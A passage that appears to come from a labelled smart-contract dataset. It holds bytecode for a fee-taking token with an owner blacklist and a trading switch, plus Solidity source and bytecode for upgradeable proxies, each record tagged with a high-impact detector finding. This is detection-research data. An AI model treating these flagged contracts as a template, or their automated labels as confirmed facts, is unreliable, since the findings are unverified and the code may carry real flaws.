5b6000610694848484610b85565b6106e684336106e185604051806060016040528060288152602001611bf1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611088565b610a61565b5060019392505050565b6000546001600160a01b0316331461071a5760405162461bcd60e51b81526004016105fb90611a78565b6001600160a01b03821660009081526011602052604090205481151560ff90911615150361078a5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105fb565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107df5760405162461bcd60e51b81526004016105fb90611a78565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461082a5760405162461bcd60e51b81526004016105fb90611a78565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461086857600080fd5b47610872816110c2565b50565b6001600160a01b038116600090815260026020526040812054610681906110fc565b6000546001600160a01b031633146108c15760405162461bcd60e51b81526004016105fb90611a78565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016105fb90611a78565b601655565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016105fb90611a78565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ac5760405162461bcd60e51b81526004016105fb90611a78565b601855565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016105fb90611a78565b600893909355600a91909155600955600b55565b600061067d338484610b85565b6013546001600160a01b0316336001600160a01b031614610a1c57600080fd5b6000610a2730610875565b905061087281611180565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b81526004016105fb90611a78565b601755565b6001600160a01b038316610ac35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fb565b6001600160a01b038216610b245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fb565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fb565b60008111610cad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fb565b6000546001600160a01b03848116911614801590610cd957506000546001600160a01b03838116911614155b15610f7b57601554600160a01b900460ff16610d7d576001600160a01b03831660009081526011602052604090205460ff16610d7d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fb565b601654811115610dcf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fb565b6001600160a01b03831660009081526010602052604090205460ff16158015610e1157506001600160a01b03821660009081526010602052604090205460ff16155b610e695760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fb565b6015546001600160a01b03838116911614610eee5760175481610e8b84610875565b610e959190611af2565b10610eee5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fb565b6000610ef930610875565b601854601654919250821015908210610f125760165491505b808015610f295750601554600160a81b900460ff16155b8015610f4357506015546001600160a01b03868116911614155b8015610f585750601554600160b01b900460ff165b15610f7857610f6682611180565b478015610f7657610f76476110c2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fbd57506001600160a01b03831660009081526005602052604090205460ff165b80610fef57506015546001600160a01b03858116911614801590610fef57506015546001600160a01b03848116911614155b15610ffc57506000611076565b6015546001600160a01b03858116911614801561102757506014546001600160a01b03848116911614155b1561103957600854600c55600954600d555b6015546001600160a01b03848116911614801561106457506014546001600160a01b03858116911614155b1561107657600a54600c55600b54600d555b611082848484846112fa565b50505050565b600081848411156110ac5760405162461bcd60e51b81526004016105fb91906118b5565b5060006110b98486611b0a565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561066c573d6000803e3d6000fd5b60006006548211156111635760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fb565b600061116d611328565b9050611179838261134b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c8576111c8611aad565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611221573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112459190611b21565b8160018151811061125857611258611aad565b6001600160a01b03928316602091820292909201015260145461127e9130911684610a61565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b7908590600090869030904290600401611b3e565b600060405180830381600087803b1580156112d157600080fd5b505af11580156112e5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113075761130761138d565b6113128484846113bb565b8061108257611082600e54600c55600f54600d55565b60008060006113356114b2565b9092509050611344828261134b565b9250505090565b600061117983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f4565b600c5415801561139d5750600d54155b156113a457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113cd87611522565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ff908761157f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461142e90866115c1565b6001600160a01b03891660009081526002602052604090205561145081611620565b61145a848361166a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161149f91815260200190565b60405180910390a3505050505050505050565b60065460009081906803c3656232739e00006114ce828261134b565b8210156114eb575050600654926803c3656232739e000092509050565b90939092509050565b600081836115155760405162461bcd60e51b81526004016105fb91906118b5565b5060006110b98486611baf565b600080600080600080600080600061153f8a600c54600d5461168e565b925092509250600061154f611328565b905060008060006115628e8787876116e3565b919e509c509a509598509396509194505050505091939550919395565b600061117983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611088565b6000806115ce8385611af2565b9050838110156111795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fb565b600061162a611328565b905060006116388383611733565b3060009081526002602052604090205490915061165590826115c1565b30600090815260026020526040902055505050565b600654611677908361157f565b60065560075461168790826115c1565b6007555050565b60008080806116a860646116a28989611733565b9061134b565b905060006116bb60646116a28a89611733565b905060006116d3826116cd8b8661157f565b9061157f565b9992985090965090945050505050565b60008080806116f28886611733565b905060006117008887611733565b9050600061170e8888611733565b90506000611720826116cd868661157f565b939b939a50919850919650505050505050565b60008260000361174557506000610681565b60006117518385611bd1565b90508261175e8583611baf565b146111795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fb565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087257600080fd5b80356117eb816117cb565b919050565b6000602080838503121561180357600080fd5b823567ffffffffffffffff8082111561181b57600080fd5b818501915085601f83011261182f57600080fd5b813581811115611841576118416117b5565b8060051b604051601f19603f83011681018181108582111715611866576118666117b5565b60405291825284820192508381018501918883111561188457600080fd5b938501935b828510156118a95761189a856117e0565b84529385019392850192611889565b98975050505050505050565b600060208083528351808285015260005b818110156118e2578581018301518582016040015282016118c6565b818111156118f4576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561191d57600080fd5b8235611928816117cb565b946020939093013593505050565b60008060006060848603121561194b57600080fd5b8335611956816117cb565b92506020840135611966816117cb565b929592945050506040919091013590565b803580151581146117eb57600080fd5b6000806040838503121561199a57600080fd5b82356119a5816117cb565b91506119b360208401611977565b90509250929050565b6000602082840312156119ce57600080fd5b8135611179816117cb565b6000602082840312156119eb57600080fd5b61117982611977565b600060208284031215611a0657600080fd5b5035919050565b60008060008060808587031215611a2357600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611a5257600080fd5b8235611a5d816117cb565b91506020830135611a6d816117cb565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611aeb57611aeb611ac3565b5060010190565b60008219821115611b0557611b05611ac3565b500190565b600082821015611b1c57611b1c611ac3565b500390565b600060208284031215611b3357600080fd5b8151611179816117cb565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8e5784516001600160a01b031683529383019391830191600101611b69565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bcc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611beb57611beb611ac3565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c89d4c59847bc414fc1e23001aace4675e79397105227ad19d00dce5bdfe51a064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,318
0xd784927ff2f95ba542bfc824c8a8a98f3495f6b5
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { //solium-disable-next-line assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { sstore(slot, newImplementation) } } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } /** * @title BaseImmutableAdminUpgradeabilityProxy * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. The admin role is stored in an immutable, which * helps saving transactions costs * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { address immutable ADMIN; constructor(address admin) public { ADMIN = admin; } modifier ifAdmin() { if (msg.sender == ADMIN) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return ADMIN; } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function */ contract InitializableImmutableAdminUpgradeabilityProxy is BaseImmutableAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {} /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) { BaseImmutableAdminUpgradeabilityProxy._willFallback(); } }
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b14610107578063d1f5789414610138578063f851a440146101ee575b610052610203565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b031661021d565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b509092509050610267565b34801561011357600080fd5b5061011c610324565b604080516001600160a01b039092168252519081900360200190f35b6100526004803603604081101561014e57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561017957600080fd5b82018360208201111561018b57600080fd5b803590602001918460018302840111640100000000831117156101ad57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610371945050505050565b3480156101fa57600080fd5b5061011c610451565b61020b6104ab565b61021b6102166104b3565b6104d8565b565b336001600160a01b037f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c516141561025c57610257816104fc565b610264565b610264610203565b50565b336001600160a01b037f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c5161415610317576102a1836104fc565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102fe576040519150601f19603f3d011682016040523d82523d6000602084013e610303565b606091505b505090508061031157600080fd5b5061031f565b61031f610203565b505050565b6000336001600160a01b037f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c51614156103665761035f6104b3565b905061036e565b61036e610203565b90565b600061037b6104b3565b6001600160a01b03161461038e57600080fd5b6103978261053c565b80511561044d576000826001600160a01b0316826040518082805190602001908083835b602083106103da5780518252601f1990920191602091820191016103bb565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461043a576040519150601f19603f3d011682016040523d82523d6000602084013e61043f565b606091505b505090508061031f57600080fd5b5050565b6000336001600160a01b037f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c516141561036657507f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c561036e565b61021b6105a4565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156104f7573d6000f35b3d6000fd5b6105058161053c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b61054581610614565b6105805760405162461bcd60e51b815260040180806020018281038252603b815260200180610683603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b336001600160a01b037f000000000000000000000000b53c1a33016b2dc2ff3653530bff1848a515c8c516141561060c5760405162461bcd60e51b81526004018080602001828103825260328152602001806106516032913960400191505060405180910390fd5b61021b61021b565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061064857508115155b94935050505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220efb508cd95584848fd1205d6dd459bccb501e6552215678d91a8a9ac9c74d3c464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
8,319
0xca4b98ca964713287a36224364dbed15c9b7abc3
/** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787